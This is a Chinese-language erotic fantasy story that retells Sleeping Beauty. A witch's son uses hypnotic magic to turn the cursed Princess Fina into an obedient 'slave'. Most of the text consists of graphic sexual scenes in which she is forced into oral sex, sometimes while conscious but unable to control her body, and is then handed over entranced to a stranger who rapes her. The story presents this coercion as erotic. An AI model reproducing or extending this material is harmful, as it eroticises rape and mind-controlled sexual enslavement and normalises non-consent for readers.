图片载入中

【H.S.P】(催眠姬)

特大字】 【大字】 【中字】 【小字

“晚上好!”

黑暗中,有一道低沈苍老,但是给人的感觉却是充满力气,苍老跟年青混和在一起,很不协调的声音。

“想必,你有听过……那个叫‘睡美人’的故事吧!”

“在很久很久以前……某一个国家中,很美丽的皇后诞下了一名可爱的女孩……很高兴的皇后邀请了很多很多人前来庆祝……其中也包括了她认识的仙子族朋友!”

“第一名仙子对公主献上了祝福……这位公主长大后……会有一头漂亮的长发……以及举世无双的美貌……而第二及仙子……赐予了公主对万物的爱心跟温柔!”

“但是……没有被邀请的邪恶女巫嫉妒了……产生了忿恨……那个邪恶的女巫不请自来……对可爱的公主施下了恶毒的咀咒……当她长大……公主就会被纺织机的纺缍刺死……”

“而最后的仙子……为此献上了最后一个祝福……她成功地将女巫的毒咒相消……使公主由死亡变成沈睡……直至真心爱慕公主的人出现……献上亲吻……公主才会醒来……”

“而在数十年之后……爱着公主的王子出现……公主得救……然后是……大家都很熟悉的团圆结局……”

“相信这个故事……各位都已经听过很多次了……但是……”

停顿半晌,那一道声音终于重新于漆黑中再度响起。

“不知道……你们……想不想知道……另外一个……‘睡美人’的故事呢……”

“如果……想知道的话……就继续听下去吧……”

“我现在就告诉你……我所知道的、另外一个‘睡美人’……‘奈落永眠之姬’的故事……”

这是某个国家中,某个城堡内,某个聚了一群士兵的地方。

“……所以我刚才就说了嘛!我真的有看到沙洛克皇子在城西的白色大宅……那个文奥诺斯家的后门中离开的耶!”

“妈啦,哪国的白痴会听你在那里唬烂!以为我们是北部大陆的地精那么蠢吗?谁不知道沙洛克皇子是接受了仙女的指引,来到了这国家解救公主殿下的王子啊!”

“老子可是人称‘鹰嘴虫之眼’的神射手啊!哪里会看错!?”

“这样深情的皇子会去嫖妓的话、我明天马上去拉赫高原,抓一百只地精回来给你们这群免崽子送酒……棍!酒拿来!不要自己喝个精光!”

男性的共通话题,自然离不开美酒,以及女人——

“可是……嗝、文奥诺斯家的女儿……的确是群媚娘啊。三日之前、嗝……我跟艾克在城西喝酒的时候也有看到……嗝!城门那帮兔崽子进去文奥诺斯的大宅……而且还是被那几个女人由正门请进去的哪……嗝……”

“飞翔的老侏儒啊……那些娘们有那么饥渴吗!?虽然那帮浑蛋身上的肌肉差不多要比西部那群牛兽人更强壮……但居然连门卫也不放过也太……堤斯?你不喝酒喔?”

几乎是用灌的喝着酒,一名皮肤黝黑的中年男子打趣似地向身旁那个肤色相对很苍白,赤色短发仿佛要冲天似地上扬,金色双瞳的青年……同时还举了举那个小小的酒瓶。

青年的名字是堤斯,跟其他士兵一样都是负责在王宫治安的巡逻兵之一。 “……不了,我还要进行最后一次巡逻。”从黑木制的硬桌上拿了数颗果仁放进口进咀嚼从而提神一下,青年以跟外表完全不相干的语气回答着,“老师说过,工作完结之前不应该松懈……”

“就算是这样,也不用一次来三颗高尔德果吧?你傻的啊?”其中一名说话很粗鲁,外貌亦跟其语调相符地粗犷的高大男性忽然说道,“虽然说仓库存量多,但高尔德果吃太多的话可是会兴奋到整晚合不上眼的喔?”

“……嗯。”没有说太多话,堤斯拿起了挂在挂在架上的剑跟盾,戴上平凡的铁盔,提着制式的长枪就离开了这个城内少数可以让好像他们这种不太高级的士兵休息的地方。

铁门关上的声音,稍稍的打断了众兵士喝酒闲聊的声浪。

“……老头子我可很担心唷。那个小子会不会太拼了。”已经完成今天工作的一名老兵慢慢地把铠甲卸下来道,“虽然说一直没人负责夜晚的巡逻是很困扰,但是……”说到一半,已经有些许白发的男人好像忽然想起甚么似的,不语。 “怎么啦老头子!既然有白痴肯负这担子就别管啦!”高大男性把酒瓶递了过去——严格来说是硬塞在他怀里逼他一起喝酒,“过几天一起去广场那边的新餐厅吃饭吧!便宜又大碗真的是有够他妈的赞!”

“……唔姆。”被打断思考的老兵也只好慢慢的喝那入口已经够呛的烈酒,跟其他士兵有一句没一句的串门子。

——那个眼神有一种很奇怪的气息……是错觉吗……

“喂!莫巴老爷子不要发呆啦!”

“喔嗯……话又说回来这酒不错,你在哪里买的?”看着身旁的壮汉,老兵重新插入了话题,“这么烈的酒老头子我也很久没尝过了哪……”

接下来,几个完成了巡逻的士兵也完后回到休息室中加入闲谈,一时热闹起来的气候让老兵压根儿就忘了那个他在年青时代只看过一次的眼神。

那个,跟当年的邪恶女巫,相当相似的眼神。

夜幕,降临。

一轮明月缓缓的飘到夜空,这才发现早已冒出群星,只好耐着羞耻发出微弱月光……恰好照亮了某个红发身影正踏步经过的那条走廊;在碧色的砖块地板上面,一声一声的响起了空寂的脚步声,仿佛是替彷徨的铠甲滑动声配上引导之音一样,在无人的长廊上回响着。

倒映着月光的青砖,同样倒映了堤斯的身影——然而,这个时候如果有旁人在场的话,一定会发现到红发青年身上传出的感觉以及那双瞳孔居然由金色变成了淡橘色。

除了堤斯自己之外,没有人知道这些事——

没有被邀请去参加宴会的那一名女巫,就是他的母亲。

表面上是不请自来,事实上却是被皇后委托前往宴会,提高宴会气氛的那一名女巫,就是他的母亲。

本来只是对那名女婴施放了简单而且短时效的催眠咒语,却被那名粗心大意的仙子用错误的魔法干扰,变成了不可解的永久性强力咀咒,最后被皇后以此为借口赶离这片国土的那一名女巫,就是他的母亲。

本来是同属一个魔法使部落的住民,却因为那次意外而被施法失误的仙子罗织罪名,因而被驱逐出部落,那名被冤枉的女巫,就是他的母亲。

在一身魔法被封印,被赶出家乡的情况下带着唯一的儿子流浪,最后死在自己怀里的那个女巫,是他的母亲。

到最后也希望他好好活下去的女巫,是他的母亲。

所以,他无法放过那个令他失去了母亲的女人,更加不可能放过这个让他母亲声名尽失的国家;所以他选择了在这个国家当士兵,想尽办法接近这座皇宫。 经过了数年的布置之后,他成功开始了第一步。

走到了一个没人看见的阴暗角落之后,堤斯双手放到胸前,低声的念起了甚么东西,“……*$@#!*%……”

然后,人影消失。

夜幕仍然高挂。

犹如带有魔力似的冰青色月光绕过了夜云,洒落在国王专属的城堡上面,让那云白色大理石反射出同样冰青的光芒;随着时间的流动,月光一点一点地披落在城上,一点一点的接近着那个没有生气的地方——

菲娜公主的房间。

只见装潢华丽却冷清无比的房间中央,一名长发的年青少女静静地睡在雪白色的柔软大床上面;不管是每晚被月光照耀而发出淡淡光晕似的及臀金发,或是那因为长期没离开室内而显得略为苍白、却反衬出其柔弱的肌肤,还是那张由小巧樱唇所强调起来、充满了清纯美的柔嫩面孔,也会令人犹如看见天使一样,被其美丽所震撼。

但是,所有国民都知道,被那件设计简单而贴身的米白色连身裙所呵护着的肌肤之下,藏着最复杂的魔法。

为了避免接触到任何针类物品,从未踏出过城堡半步的菲娜公主,在芳龄踏 入双十的那一天终究是逃不过那个可怕的命运;邪恶女巫的毒咒在美少女误碰针 尖的瞬间应验,让万人迷的公主陷入了不曾醒来过的长期昏迷,直至来自邻国的沙洛克皇子以至真至诚的爱打动了神灵,让毒咒消失。

——然而,真的是那样吗?

“……”

无声的空间被无中生有的连续几个‘啪叽啪叽’的怪声给破坏;月光所照耀的除了菲娜之外,多出了另外一个不请自来的人……堤斯。

即使母亲在多年之前就已经无法使用任何的法术——哪怕只是燃起一丁点火 苗——但是作为一个魔法使的儿子,有着报仇二字作为推动力的堤斯自然是学会了母亲毕生所有魔法;继承了其母身上几近全部法力的他在大陆上,甚至是在整个世界中,也是最顶尖的魔法使之一。

而他手上,亦掌握着由母亲以多年时间研究出来,世界上唯一一个能够让菲娜逃过因错误而生的魔咒的法术。

“……‘苏醒——”

魔咒应验在菲娜公主身上是事实,但这不代表故事后面的同样是真实;从邻国而来的沙洛克皇子确实是经历了不少的磨练才到达昏睡公主的身边,但是任他再唿唤,任他再怎样亲吻那两片冰凉的唇,也无法令公主醒过来——哪怕,只是让她擡起一根眼睫毛,他也办不到。

后来,因失意而正想离开国境的沙洛克皇子被皇后劝阻下来——说得好听就是劝阻,实际上却只是以侄女为诱饵策动美人计将人给留下,同时让年龄相近的侄女假冒昏睡已久的菲娜公主,让人民的情报稳定下来。

而就结果而言,国民看到‘睡公主’醒来并跟王子结婚,实现了仙子的预言之后,受到的鼓舞并不是皇后所能想像的巨大;也因此,整个国家的状况也随着人民向心力的提高而向着更好的方向发展……以政治角度来说,皇后对此事的处理一点错都没有……虽然代价是她不得不放弃自己的亲生女儿,每晚几乎都是以泪洗脸。

而咀咒仍然没有被解除的菲娜公主,就一直被留在她的闺房里,静静的,寂寞的睡着。

——除了堤斯之外,知道这些事的人不多。

“——奈落、永眠之姬’。”

堤斯冰冷的声音不过才响起了几秒,躺在软床上的菲娜起床了:只见少女那一袭经常受到护理,却毫无生气的金色长发缓缓自床缘上滑落,垂向毫无灰尘的地板;那略为苍白的一双玉足至随着淡金发丝一同活动起来,踏地。

徙来没被认为会醒过来的菲娜公主虽然苏醒了,却没脱离过那魔法施予的沈睡之中……本应闪动着明亮光芒的瞳孔,现在只是了无生气的扩大,露出了没有意识的一片空洞。

多次的准备,加上将母亲留下的解咒法作出适量修改,堤斯所使用的法术成功地令菲娜苏醒过来——从沈睡的公主,变成没有自我的人偶。

“……”复仇的魔法使沉默了好一会才再次发出声音,“菲姬公主,听的见我的声音吗。”

“……是……的……”

本来是非常优美,理应充满似年龄该有的活泼感情的嗓子,此刻却只能发出阵阵毫无感情波动的声音;不止是声调,连说话的方式也失去了灵动,生硬而又冷淡。

空洞的双瞳,并没有望向使自己‘醒来’的堤斯,而是默默地,无神地将视线固定在前方——不是堤斯的位置,也不只想借由镜子望向自己的镜像,而只是无声的凝视正前方的椅子。

“……告诉我,你是谁。”听见了回答,堤斯再度发问;只是问题本身之简单实在令人咋舌,只要是会说话的人,即使只有三岁的孩童也能够回答出来。 “我是……菲娜。积艾斯……赛尔王国的……公主……”

如自言自语的梦呓,断断续续的从金发少女的口中吐出——

“……也是……所有人的……奴隶……”

“那么……我是你的甚么人。”

青年说话的时候,忽然想起前几天在市集看见的奇怪旅团,好像是在表演甚么催眠术的样子;但是根据当时所看到的情况,他不用看就知道那只是些骗观众赚旅费的小把戏。

“你……是我的……主人……”

因为深谙此道的他,可以做出更完美的‘把戏’。

“……回答我。”嘴角挂起一道冷笑,堤斯如万年冰山的眼神凝视着眼前金发姬——那双眼瞳理所当然似地不存在任何的爱怜,只有从血脉中延续下来的怨恨跟执念——他只感到连口中吐出的声音也是雪一般的寒冻,“看到主人的时候……奴隶应该说甚么?做甚么?”

不曾踏出过城堡,甚至是房门半步的金发少女用那空洞的眼神茫然凝看着堤斯,似是在思考,却也似是意识停滞似地,只是静静的看着。

然后,用那缺乏起伏的高雅声音这样说了。

“……奴隶……侍奉主人……清洁……主人的……身体……”

闻言,堤斯没有回应甚么,只是自顾自的走到了阳台外面,找了张椅子坐下之后就没有再给予任何指令,似是等待着菲娜作出相对的行动。

“……”

仿佛已经做过千万次似地,脑海不存在任何意识的可怜公主轻轻的提起了长裙下摆,光滑赤足没有声音的,没有自主意志的,一步步的从房间中央踏出阳台外面;她她的嘴中吐出了有点妩媚,但是仍然充斥着虚无感的声音,向敬爱的主人报告她要接下来做的事情。

也许,终其一生她也不可能知道,此时此刻自己说了甚么,为甚么语气会带有她不曾理解过的媚,甚至是那个叫主人的存在是甚么身份;也许,属于菲娜的真正意识,将会永远沈睡在‘女巫’的咀咒之中不会醒来。

“请主人……让菲娜奴隶……用下贱的舌头跟嘴巴……清理……您尊贵的……肉……棒……”

也许是本能的反制,已经完全陷入堤斯控制的菲娜说话仍然有些许的停顿跟犹豫,然而身体的反应永远也不会违逆任何命令似地温驯:在距离堤斯不到十步的距离,高贵动人的长发少女倏然向前倾下娇躯,前进方式也由轻轻踏步变成毫无尊严,彷如畜牲一样的爬行姿势。

那对不沾世事的柔嫩玉手,用温柔体贴的动作脱下了眼前兵士的下身铠甲以及粗糙的布质长裤,让堤斯身下那昂首的巨大肉茎出现在少女半痴呆半空白的视线之中。

然后,张开了樱唇,把那怒涨的肉根吞进嘴里。

仿佛是强行钻进少女嘴中以及唇边似的,充满着浓烈男性气息的腥臭并没有对她的行动做成影响,甚至是在刺激她的神经似的让菲娜的香舌加速了动作,本来只是温驯的舔弄动作渐渐火热起来,开始缠绕肉根最前端来回打转。

静静闭上了双眼,堤斯享受着那不应该出现在高贵如公主的她的身上,那种只有被一般人视为连最下贱人种的妓女跟奴隶才会做的侍奉动作;然而,他仍然是觉得有些甚么违和感存在……从最初的控制开始他就一直感到了异常,只是不知怎的,今天的感觉特别明显。

——就好像,有些甚么‘不足够’;是的,作为一场‘复仇剧’,让她就这么沈睡下去的话,那就一点意义也没有了。

想了想,青年从冰冷的唇中吐出了新的指令。

“……意识回复,但是无法控制身体……除了视线。”

深紫色的闪光,在堤斯弹指的刹那闪动。

(……嗯……?)

金发少女仍然昏沈的意识,一点点地从无尽的幽暗之中脱离,从二十岁开始已停止许久的思考开始慢慢的回复过来。

可是,现在的她就好像很久没有醒过来似的,思考跟感觉仍然很迟钝—— ——迟钝到,现在才感觉到口中好像多出了‘甚么’。

充满了她不知道的气味,腥臭的男性性器。

(这……!?)

然后,她发现了一件更加可怕的事——不管是想发出甚么声音,她也无法控制嘴巴跟舌头继续侍奉那恶心的肉根;即使是想用手推开眼前的男人,她亦无法举起按住地板的双手,仿佛那对伴随她成长的手臂已经不再属于她一样。 无意识的闭上双眼,高贵的金发少女很快就将那根丑陋的阳物隔绝于自己的视线之外;而因为这个反射动作,她才发现全身上下唯一仍旧属性她的地步,就是小时候被父皇以蓝宝石比喻的美丽眼睛。

“以为闭上眼睛……就能逃避现实了吗?”

(……是谁?)

张开双眼,头颈也无法动弹半分的菲娜只能辛苦的向上望……映进澄蓝眼瞳中的是一张没有表情,冰冷的男性脸孔;他身上所穿戴的是铁锈色铠甲,跟她小时候曾经看过的守卫兵铠甲相当相似。

(这个人……是宫殿的士兵……!?)

少女的惊讶也只维持了那么一阵子——因为那个士兵跨下的阳物,现正在自己不能控制的嘴里放肆的跳动着;那种脉动,是跟男性那张冰冷脸孔完全不一致的,充满了欲望的狂热。

“哼……没想到公主这么喜欢阳具……而且是,下贱士兵的肮脏阳具。” (不、不是的!不是这样!)

口中火烫的肉根,正被自己以快要碰到喉咙的方式含在嘴里,用舌头缓慢跟细腻地打转着,舔弄着,侍奉着。

(……呜……!)

又酸又臭,诡异的味道不断的传入自己脑中。

很脏,很恶心。

可是,停不下来。

(为甚么……为甚么会这样……)

迷惑,震惊,疑惑,各种感情一口气涌进少女的思想中——她不明白,为甚么自己会好像女奴一样,吸吮着这个男人肮脏的性具;她更加不明白,为甚么身体完全不受控制——

“奴隶,说你应该说的话。”

“感谢主人……赐给菲娜奴隶服侍主人的机会……”

(不!不是这样!我不要说这种话!)

为甚么?为甚么手脚跟嘴巴都控制不了?为甚么自己会说出这种不知羞耻的语句?为甚么自己会把对方称唿为主人?为甚么自己要在一个下等的士兵面前自称奴隶?为甚么为甚么为甚么——

——为甚么,自己在对着这个人微笑……

“……继续吧。”

不要!这么恶心的事她不想再继续下去了!谁也好,快让她停下来!

“是的,主人……嗯呜……”

跟意识故意唱反调似的,身体那意外快速的反应让她没办法再思考下去;迅速地擦过了两片唇的粗壮阳根想要跑到更深处似地,不断的在少女娇嫩的口腔中冲突着;菲娜唯一能够控制的双眼,也因为这意外的动作而反射性地闭起,不希望再看到侵犯自己肉体的男性器在眼前出现。

除了那阵恶心的味道外,现在还因为龟头快要完全顶住喉咙,让她更加的难受……然而,她的身体却好像很喜欢做出这种动作似的,慢慢的从不适开始迎合对方动作,让阳具戳得更加深入。

那强烈而没法无视的不适,亦不断地刺激着菲娜的意识;仿佛是反应着不适感似地,眼角开不由自主的积起了泪光。

(不要……求求你,停下来!不要不要不要——)

“呜……呜嗯……感谢主人,让菲娜奴隶……能够有幸……清理主人伟大的大肉棒……咕嗯……”

无垢的高贵思想,在没有办法停止自己身体的情况下,只能不停否定着肉体那淫邪无耻,犹如没有自我的性奴一般的动作……

半闭的星眸,让囤积的泪珠顺着漂亮脸庞流过,划下泪痕。

纯洁的女性心灵,只能悲哀地无视着,不住用樱色滑舌将腥臭的米色精垢卷走吞下,然后有如服侍夫婿似地温柔地吸吮着狰狞龟头,好像热衷在口舌运动之中似的那个‘自己’。

那摇摇欲坠的危险平衡,就在菲娜半崩溃的精神彷徨之时,维持了好一段时间——到底她的身体持续了那个可耻的侍奉行动多久了,她一点都不想记住;耳中传来‘噗滋’‘噗滋’的吸食声,她半点也不想听到。

“……准备吞下去。”

然后,突如其来的声音打乱了那个平衡,甚至让一直流的眼泪忽地停下。 (……难不成……!)

顺从地将马眼前端流出,充满了异样黏性的透明液体吸走吞下,金发的睡美人清楚地感受到,由口中那雄性性征所传来的强烈脉动……仿佛是匹俊马般,想要朝着哪里奔驰似的狂乱。

(拜托你……只有这件事……不要……)慌乱的菲娜并没有留意到一个小小 的疑点——几乎不懂性事的她为甚么能够从对方一句话之中就知道接下来会发生 甚么事?(……求求你,不要、我不想这样……!)

少女的意识开始毫无意义的求饶——

“是的……主人……菲娜奴隶会好好吞下全部——”

——但,那也来不及了。

士兵打扮的男子全身猛地抖动,跨下的阳物开始在公主的小嘴中放出了大量灼热的白浊;邪恶的淫欲浪涛从窄小的马眼之中朝外喷洒,转眼之间就将公主的樱桃小嘴填满,甚至把部分的精液硬行从口腔逼进喉咙里面。

同时,有部分的精浆因为冲不进去喉咙,而被金发少女的肉体本能性的任由一部分浓稠的浊液沿着嘴角缓缓流下,让洁净地板增添淫乱的污垢。

(……讨厌……好恶心的感觉……咦?为、为甚么……)

意外的,甘甜。

(……这种味道……为甚么……!?)

这污浊体液的味道,就跟她小时候父皇奖励乖乖学习的自己时,所给予的糖果一样……甜美,而且是一种让人想起童年快乐时光,温馨亲切,让人安心的迷醉美味。

“主人宝贵的精液,很多很好吃……”

那糖果,是她活着的二十年间最感到美味的食物——那是充满了名为亲情以及关怀,最好的食物。

想到自己记忆中的那美味居然跟口中的脏物扯上了关系,她的泪水又开始流下……

“主人……你看到了吗?菲娜奴隶虽然很淫荡……但是很乖的喔……菲娜奴隶……会心怀感激的……把主人赏赐的全部精液……细心地咀嚼过后……品尝完主人赐给奴隶的‘恩泽’之后……才会一点一点吞下去……”

为甚么会这样,菲娜完全没有头绪。

意识,浮现了一片因为无法理解现实而构成的空白。

(……为甚么……感觉……好温暖,为甚么……)

不,不应该是这样,眼前这个把自己当成玩偶一样凌辱的男人,为甚么会让 自己感受到那么美好的感觉——

迷乱的菲娜,并没有察觉到身体在接受了雄性独有污物的冲击之后,出现了一丝丝的‘热’——被那犹如佳肴的美好味道轻轻盖住,却很实在的将感觉传给身体,隐隐勾起了她女性部分的‘热’。

(不应该会这样……可是……很……美味……)

无视着再度陷入混乱的意志,少女贪婪地从已经喷出过不少欲望的肉根中吸吮出余下的少量精浆跟残余的透明汁液,然后开始了正常人——不,这种行为甚至是最下流最卑微的肉奴隶也不会干——做不出来的咀嚼动作。

无法想像,也不曾想像过的耻辱充斥了脑海,让金发少女滴落地板的眼泪更显悲凉。

黏稠,腥臭,难以吞噬,因为量太多还让唿吸变得困难,不管是由哪一方面去评论,也是最坏最恶心的‘食物’。

(……很、好的……味道……没可能的……为甚么……)

如清泉般甘甜可口,比珍馐百味还要令人心醉,在入口刹那已经把她的大半理智冲走的美味,如洪流一样缠绕着少女的味蕾,动摇着少女的理性。

她无法想像,为甚么那一根恶心的东西中,会射出这种美味——

“菲娜奴隶……会好好珍贵……主人赐给奴隶的美味精液……请主人……请主人可怜一下淫荡的菲娜奴隶……让下贱的菲娜奴隶,能够再接受主人的赏赐……”

(……光明神啊……这是恶梦的话……请您让我醒来……)

开始绝望的金发少女心中正向着国家唯一的信仰祷告,寻求那微小的救赎同时,嘴中却吐出了自己无法想像,不知羞耻为何物的下流言语。

而放出了大量白浊体液,理应放松下来然后提枪上阵开始更淫邪的动作的男人却是反常地没有任何动作,只是用那依旧冷漠的眼睛看着菲娜;那双几乎毫无感情起伏的淡橘瞳孔,仿佛不是看着美女而是在看着死物一样。

一时性的寂静很快的盘旋在两人身处的阳台,独留菲娜用力咀嚼着腥腻精浆的异常声音,让本应清爽的凉风多添了几分淫乱。

‘咕隆’

在甯静的星夜之下,那一道宣告着菲娜服从眼前男性的吞咽声马上显得相当的响亮……特别是,在她心中的回响。

“……走吧。”

不待金发少女留有悲哭的时间,男子冷淡的说了。

“是的,主人……”

(咦……要去哪里!?)

突如其来的命令,让不由自主站立起来的少女感到无所适从——到底要去哪里?接下来会发生甚么事?

刚刚的一切,已经把她二十年来的‘常规’全数打破;菲娜再也无法预料到接下来会发生甚么事;但她唯一能够感觉到的是,这个以她为主角的凌辱剧,还未闭——

“……‘回归、盲从、永眠之姬’。”

然后,她的思考,她的意志,全部在这一瞬间‘凝结’——不是刻意,而是回到了她应有的状态之中……

五指稍稍用力移回掌心,手中那一道紫绀流光跟眼前金发公主的意识一样渐渐的减弱,最后化成点点光沫消散在黑夜之中。

“……”

堤斯看着重新陷入应该永远持续下去的昏睡状态,不该再度醒来的菲娜,心底好像忽然燃起了甚么似的;今天的行为,对他来说已经不陌生,甚至能说是日常的习惯。

但是,他从来没有试过,让可怜的少女在意识清醒的状态之下施辱……就好像,心底某处想打破由悠久时间的形成的‘某种东西’似的。

——已经,够了吗?

堤斯金色的双瞳中,隐约能看到一丝对自己策划的‘复仇剧’的迷惘;向来对任何事也是冷静以对的自己,居然会出现那种激烈的不明情绪,到底代表着甚么?由半年前的首次凌辱开始,他应该已经有所觉悟,不应该动摇。

——我,感到烦厌了吗?

替无垢少女建立奴隶人格加以控制及凌辱,召回那昏睡已久的灵魂施予无间断的过酷羞辱,以各种方式翻弄着她的记忆、人格、肉体、甚至是那一股在自己刻意保护之下,依旧冰清玉洁的灵魂……也许,最初只是为了让自己在复仇终结之后,让公主可以脱离这个咀咒,重获自己的人生吧?

但是,这个想法,可能是打从相遇的一开始,就以他无法感受到的速度变质起来,成为了黑色的占有欲。

——因为是不可解的仇恨,所以想要永远的拥有;因为希望拥有,所以永远不会让那美丽的灵魂逃离逃离自己的手心。

而他的计划,亦从最初开始,由很单纯的绑架转变成被个人欲望所侵蚀而生的凌辱行为;本应不被沾污的纯洁灵魂,也在不知不觉之间多出了堤斯打算将少女私有化而强行建立起来的奴隶人格。

——所以,要让那美丽的灵魂永远落入自己手中的话,只依靠魔法控制肉体跟意识并不足够,也不完美……‘魔法’是全能,却也不万能的存在,不能够永远的‘拥有’。

“……开始吧……”

那么,结论只有一个。

“菲娜。积艾斯……最后的一步。”

让她、自己‘堕落下去’——

星星的光芒仿佛感受到男子心底的漆黑,渐渐的衰弱起来,独留清冷月光照射着这小小的国家……

不知道由甚么时候开始,天空的颜色已经完全被深黑乌云所盖,只余下孤独的圆月照拂着大地;而位于城的某个角落,因为人烟稀少而死寂一片的贫民区更是显特比平常还要凄冷,只余下数间小房屋亮着昏黄灯光。

而在其中一个灯火的来源处,正有一名目光流露惊讶,却也充斥着色欲,身躯微胖男人一动不动地看着眼前的空间……在那里,有一名留着落地金发,容姿柔弱,流露着高贵气质的妙龄少女。

男子并不知道,到底这个跟白妖精一样让人为其美貌而惊艳,浑身上下犹如诱惑着异性狠狠在她的身上发泄邪欲,身无寸缕的高贵少女,到底是打哪来的家伙——

(来讨债的吗?不对,赌场的欠债我已经还清很久了耶,那帮浑球应该不会再来找我……更别说这个女人连衣服都没有……)见状,男子第一反应并不是尖叫或者伸手摸眼前的娇嫩肉体,而是陷入了混乱,(难道是甚么贵族的小孩子吃饱太闲,找我们这些贫民恶作剧吗?可是我这一辈子从来没得罪过贵族……玛莉隔壁的!我连看都没有看过勒!)

短短的数息中,只有一些简单家具的房子,就只余下夜风吹动,以及想不到头绪的男子,开始重新注意到眼前美肉的动人,渐渐粗重起来的唿吸声,外加一些低俗的吞沫声。

然后,他注意到了在少女那对丰满柔软的巨大双乳之间,夹着了一张卷起来的羊皮纸。

“是留言……哗!?”

本来跪坐在地上一动不动的女性,忽然举起了玉手将乳沟之中的粗糙羊皮拿起取出,双手各持着纸的一角任由被卷着的部分扬开。

瞬间,羊皮纸发出了并不炫目的温和金光,在惊讶到嘴巴合不起来的胖男面前形成了无法看懂内容,而是直接让文字的意义烙入脑海中,让他由刹那间将惊讶变换成狂喜的文字——

‘汝施予于幼小圣灵之恩以银月之名为报天使降凡赐赠赏泽此夜此光

消散为始 来临晨光为终 光下咏叹 返天’

——简短而言,就是以娇美女体报答他救下灵兽的行动。

“……不会错……这种文字是‘光之图腾’……这一定是光明神……是光明神的赏赐啊!!”

压下了心里的狂喜跟兴奋,男子脑中只残存着一个念头……以及因为神之宣告抹去了恐惧而重新扩散的淫欲,“没想到,没想到那天只是无聊把一头双尾兽放回森林就……啊!说起来那一头双尾兽的突毛是金银色……原来如此!原来如此!”

一想到当日随手救掉的幼兽头上突起的短毛颜色,男子就认定自己走运,居然在无意中把归属于光明神的灵兽救掉,加上自己为人善良,所以光明神就特意派下一名天使,让自己可以在这个晚上享受整个夜晚。

虽然知道双尾兽在光明神的传说之中经常会被提及,但是他真的没有想过居然有幸证实这个传说。

——不对!距离明天日出的时间虽然很多但是都不能浪费!这就跟赌钱一样要把握时机!不然酬码在但是没运势就……啊啊!不对!我这时候还想这些多余的东西作啥!?我又不是基洛沙漠那群研究魔法的疯狂法师!!

用力的甩头摆脱杂念,挺着肥肚的男子看向了不知在何时就松手任由羊皮纸飘落在肮脏地面,一点反应都没有的金发少女……仿佛刚才光明神的宣告就跟她一点关系都没有似的。

想到此,他有点紧张的扬声。

“……天、天使大人?”

“…………请您……”沉默了数秒之后,气质高贵得让男子有一点不敢靠近过去的女子这才以没有起伏跟任何感情的声音回应,“……请您……好好享用菲娜的身体……因为……这是您应得的…………回报……”

“……喔、喔喔喔啊啊啊啊啊!!天使大人喔喔喔!!”

几乎在她的声音还没完全消失的一刹那,男子已经是用跳的冲上前扑向了金发的赤裸少女——

“好香……天使大人的身体好软好香……!”左手已经急不及待地伸到了那尖挺着的乳房上面,五指犹如侵略者一样不断施以各种力度,让那柔软的香肉被改变成不同的淫邪形状。

同时,右手亦迅速地伸到了菲娜的下半身,开始抚摸着那柔滑而丰满的香臀上面,时而施加力度揉捏着那令人冲动的美肉。

“啊!嗯……唿嗯……哈、嗯嗯……”

仿佛是被触动到名为欲火的开关似地,那双粗犷但灵巧的手只是刚碰到她的身体,她就忍不出发出了妖艳的呻吟;但是,那勾魂的美音只响起了一声,就被男子用充满了唾液的肥舌入侵嘴内,除了奇怪的闷哼之外,任何的声音也无法发出。

仿佛要抽走菲娜嘴中所有香气似的,男子的舌尖不断跟少女的娇嫩的舌尖交错纠缠,时而深入其口腔狂乱地抚弄,时而将沉默少女的舌头拖到自己嘴中,用力的挤弄;当然,那对巧手也没有闲下来,一直以不同的手法刺激着悄然竖立的粉色乳尖跟动人的艳臀。

多样性的爱抚,非常有效地刺激着、燃点着少女体内的欲望之火;只见菲娜的白滑皮肤在不知不觉之间已经渗出了一点点晶莹的香汗,本来显得苍白的肤色也因为性欲所带来的刺激,透出粉色淫光似地一点点地的变红。

“我真是幸运……居然可以搞上一个天使……!!”

“请……唿嗯、嗯……好好的……啊!啊嗯……享受……嗯哼!享受菲、菲娜……啊、嗯啊……的肉体……嗯唿∼”

贪婪地吻着、嘴巴轻柔但用力的吸啜着、用舌头舔弄着少女纯洁的樱唇;施 力握着、掌心不知足地揉着柔滑的曼妙乳肉、左手五指恶劣地挤捏着那颤抖的桃 色突起;深入金发少女跨下的右掌,一直顺着耻丘的诱人曲线撩抚着,食中二指时而伸进那开始湿粘的花径中抠挖着,时而夹住那位于花瓣上方,鲜嫩欲滴的一点蜜肉。

静默的夜里,就只余下男性欲望跟少女肉体交缠所发出的淫邪声音。

断续的呻吟、足以撕破大部分雄性理智的娇媚喘息,让男子的思考开始麻木起来,连时间的流动也无法感受——唯一感觉到的就是怀中一直默不作声的美女也开始发出了动情的呻吟声。

他从右手手指的湿润中能够肯定,美丽的天使身下已经汁水淋漓,表示着她做好了迎接他宠幸的一切准备。

“啊啊……我美丽的天使大人……天使大人啊……”

急不及待的男人几乎是用扯的脱下身上衣裤,让早已昂扬暴涨,尖端已流出代表淫念的汁液,青筋暴起的肥大阳根露出来透气。

“……请……宠幸您的……菲娜……”

犹如与兴奋巨棒同步共享着快感跟期待似的,金发少女身下的淫欲来源缓慢却实在的流出了更多半透明的淫液,隐隐一张一合的穴口仿佛在诉说着空虚,等候高举男枪的降临。

目击如斯淫秽的画面,连最后一丝温柔跟理性也崩断的男子挺着两足之间的坚枪用力向前方一撞,只属于他的粗野骄傲一接触到那嫩滑幽谷的入口时—— “……嗯啊——!”

——连半分迟缓、一丝停顿也没有、直接而狂野地插到尽头。

仿佛过了很久,实际上却是那么一瞬间,男子感到了自己敏感的尖端被温热湿润的柔嫩肉层包围。

被肉棒贯穿的美肉在刹那绷紧,满布甜汗的娇躯颤抖着,缦缦伸出了双手抱紧那肥肉略多的巨体;似痛非痛的表情浮现在菲娜的脸上,残留着泪珠的目光充满了让人眷恋的柔情,以及一点点的媚意。

“……菲娜的所有……现在……也是,您的所有……所以……请不用怜惜我……请您……在菲娜身上发泄,您的全部欲望……”

火热的美女,火热的耳语,点燃了火热的肉欲。

“……请您好好蹂躏、只属于您的菲娜——”

同时,引爆雄性对异性的兽性。

“呜咕喔喔喔喔喔喔喔喔喔!!天使大人……菲娜!菲娜!!”

压向了少女的脸,再度夺过唇舌的自由,同时腰身以有生以来亦不曾出现的全力前后挺动,让自豪巨根在进出着泥泞蜜穴的时候,获取最多最大的刺激,也让身下美丽的高贵雌性感受着肉体的快感。

插着、拔着、刺着。

